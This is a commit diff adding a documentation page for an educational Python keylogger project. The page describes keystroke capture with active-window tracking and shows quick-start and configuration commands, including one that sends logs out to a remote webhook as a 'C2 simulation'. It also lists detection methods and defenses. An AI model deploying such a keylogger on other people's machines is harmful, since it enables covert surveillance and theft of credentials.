Created Keylogger (markdown)
Carter Perez
parent
652aaaa172
commit
a3bede0430
|
|
@ -0,0 +1,243 @@
|
|||
# Keylogger
|
||||
|
||||
Modern Python 3.13+ educational keylogger for security research and learning.
|
||||
|
||||
## Overview
|
||||
|
||||
A cross-platform keylogger demonstrating keyboard event capture techniques. Built for educational purposes to understand how keyloggers work, how to detect them, and how to defend against them.
|
||||
|
||||
**Status:** Complete | **Difficulty:** Beginner
|
||||
|
||||
## Legal Disclaimer
|
||||
|
||||
This tool is for **educational and authorized security testing only**. Only use on systems you own or have explicit permission to test. Unauthorized keylogging is illegal.
|
||||
|
||||
**Legitimate use cases:**
|
||||
- Security research
|
||||
- Penetration testing (with authorization)
|
||||
- Parental monitoring (with disclosure)
|
||||
- Personal productivity tracking
|
||||
- Digital forensics training
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Technology | Version | Purpose |
|
||||
|------------|---------|---------|
|
||||
| Python | 3.13+ | Modern syntax, native type hints |
|
||||
| pynput | 1.8 | Keyboard event hooking |
|
||||
| requests | 2.32 | Webhook delivery |
|
||||
|
||||
### Platform-Specific
|
||||
| Platform | Dependency | Purpose |
|
||||
|----------|------------|---------|
|
||||
| Windows | pywin32, psutil | Window tracking via Win32 API |
|
||||
| macOS | pyobjc-framework-Cocoa | NSWorkspace API |
|
||||
| Linux | xdotool | Window tracking CLI |
|
||||
|
||||
## Features
|
||||
|
||||
### Core Functionality
|
||||
- Real-time keyboard event capture
|
||||
- Timestamped logs (microsecond precision)
|
||||
- Active window tracking
|
||||
- Special key detection (F-keys, modifiers, control chars)
|
||||
- Human-readable key conversion
|
||||
|
||||
### Advanced Features
|
||||
- Automatic log rotation (configurable size, default 5MB)
|
||||
- Toggle control (F9 to pause/resume)
|
||||
- Remote delivery via webhook (C2 simulation)
|
||||
- Cross-platform support
|
||||
- Thread-safe operations
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────┐
|
||||
│ Keylogger │
|
||||
│ (Main Orchestrator) │
|
||||
│ ┌─────────────────────────────────────────────────┐ │
|
||||
│ │ KeyloggerConfig │ │
|
||||
│ │ log_file | webhook_url | max_size | toggle_key │ │
|
||||
│ └─────────────────────────────────────────────────┘ │
|
||||
└────────────────────────┬────────────────────────────────┘
|
||||
│
|
||||
┌───────────────┼───────────────┐
|
||||
│ │ │
|
||||
▼ ▼ ▼
|
||||
┌─────────────┐ ┌─────────────┐ ┌─────────────────┐
|
||||
│ LogManager │ │ Webhook │ │ WindowTracker │
|
||||
│ │ │ Delivery │ │ │
|
||||
│ - write() │ │ │ │ - get_active() │
|
||||
│ - rotate() │ │ - send() │ │ - platform │
|
||||
│ - flush() │ │ - batch() │ │ detection │
|
||||
└─────────────┘ └─────────────┘ └─────────────────┘
|
||||
▲ ▲ ▲
|
||||
│ │ │
|
||||
└───────────────┼───────────────┘
|
||||
│
|
||||
┌────────────────────────▼────────────────────────────────┐
|
||||
│ pynput Listener │
|
||||
│ (OS-level keyboard hook) │
|
||||
│ │
|
||||
│ on_press(key) ─────> KeyEvent ─────> Processing │
|
||||
│ │
|
||||
│ KeyEvent: │
|
||||
│ - key: str │
|
||||
│ - timestamp: datetime │
|
||||
│ - key_type: KeyType │
|
||||
│ - window: str | None │
|
||||
└─────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
cd PROJECTS/keylogger
|
||||
|
||||
# Install dependencies
|
||||
pip install -e .
|
||||
|
||||
# Run keylogger
|
||||
python keylogger.py
|
||||
|
||||
# With webhook
|
||||
python keylogger.py --webhook https://your-endpoint.com/logs
|
||||
|
||||
# Custom log file
|
||||
python keylogger.py --log-file /path/to/keylog.txt
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
```python
|
||||
from keylogger import KeyloggerConfig, Keylogger
|
||||
|
||||
config = KeyloggerConfig(
|
||||
log_file="keylog.txt", # Output file
|
||||
webhook_url=None, # Remote delivery endpoint
|
||||
max_log_size=5_000_000, # 5MB before rotation
|
||||
toggle_key="f9", # Pause/resume key
|
||||
batch_size=100, # Webhook batch size
|
||||
include_window=True # Track active window
|
||||
)
|
||||
|
||||
keylogger = Keylogger(config)
|
||||
keylogger.start()
|
||||
```
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
[2024-01-15 14:32:15.123456] [Chrome - GitHub] h
|
||||
[2024-01-15 14:32:15.234567] [Chrome - GitHub] e
|
||||
[2024-01-15 14:32:15.345678] [Chrome - GitHub] l
|
||||
[2024-01-15 14:32:15.456789] [Chrome - GitHub] l
|
||||
[2024-01-15 14:32:15.567890] [Chrome - GitHub] o
|
||||
[2024-01-15 14:32:15.678901] [Chrome - GitHub] [SPACE]
|
||||
[2024-01-15 14:32:16.789012] [Terminal] [CTRL]
|
||||
[2024-01-15 14:32:16.890123] [Terminal] c
|
||||
```
|
||||
|
||||
## Key Types
|
||||
|
||||
| Type | Examples |
|
||||
|------|----------|
|
||||
| Regular | a-z, 0-9, symbols |
|
||||
| Special | [SPACE], [ENTER], [TAB], [BACKSPACE] |
|
||||
| Function | [F1]-[F12] |
|
||||
| Modifier | [CTRL], [ALT], [SHIFT], [CMD] |
|
||||
| Control | [ESC], [DELETE], [INSERT], [HOME], [END] |
|
||||
|
||||
## Detection Methods
|
||||
|
||||
Understanding how keyloggers are detected helps in both offense and defense:
|
||||
|
||||
### Process Monitoring
|
||||
- Unusual processes with keyboard hooks
|
||||
- High-privilege processes accessing input devices
|
||||
- Processes with no visible window
|
||||
|
||||
### Network Analysis
|
||||
- Unexpected outbound connections
|
||||
- Data exfiltration patterns
|
||||
- Webhook/C2 traffic
|
||||
|
||||
### File System
|
||||
- New files in temp/startup directories
|
||||
- Log files with keystroke patterns
|
||||
- Suspicious file access patterns
|
||||
|
||||
### Behavioral
|
||||
- Input lag or stuttering
|
||||
- Unexpected CPU usage
|
||||
- EDR/antivirus alerts
|
||||
|
||||
## Defense Strategies
|
||||
|
||||
### For Users
|
||||
- Use virtual keyboards for sensitive input
|
||||
- Monitor running processes
|
||||
- Use anti-keylogger software
|
||||
- Keep systems updated
|
||||
|
||||
### For Organizations
|
||||
- Application whitelisting
|
||||
- Endpoint Detection & Response (EDR)
|
||||
- Network segmentation
|
||||
- User awareness training
|
||||
- Startup item auditing
|
||||
|
||||
## Development
|
||||
|
||||
```bash
|
||||
# Run tests
|
||||
python -m pytest test_keylogger.py -v
|
||||
|
||||
# Type checking
|
||||
mypy keylogger.py
|
||||
|
||||
# Linting
|
||||
ruff check keylogger.py
|
||||
pylint keylogger.py
|
||||
|
||||
# Format
|
||||
ruff format keylogger.py
|
||||
```
|
||||
|
||||
## Code Highlights
|
||||
|
||||
Modern Python 3.13+ features:
|
||||
|
||||
```python
|
||||
# Native type hints (no typing import)
|
||||
def process_key(key: str | None) -> KeyEvent:
|
||||
...
|
||||
|
||||
# Match statements
|
||||
match key_type:
|
||||
case KeyType.REGULAR:
|
||||
return key.char
|
||||
case KeyType.SPECIAL:
|
||||
return f"[{key.name.upper()}]"
|
||||
case _:
|
||||
return "[UNKNOWN]"
|
||||
|
||||
# Dataclasses
|
||||
@dataclass
|
||||
class KeyEvent:
|
||||
key: str
|
||||
timestamp: datetime
|
||||
key_type: KeyType
|
||||
window: str | None = None
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [pynput Documentation](https://pynput.readthedocs.io/)
|
||||
- [OWASP Testing Guide - Keyloggers](https://owasp.org/www-project-web-security-testing-guide/)
|
||||
- [MITRE ATT&CK - Input Capture](https://attack.mitre.org/techniques/T1056/)
|
||||
|
||||
## Source Code
|
||||
|
||||
[View on GitHub](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/keylogger)
|
||||
Loading…
Reference in New Issue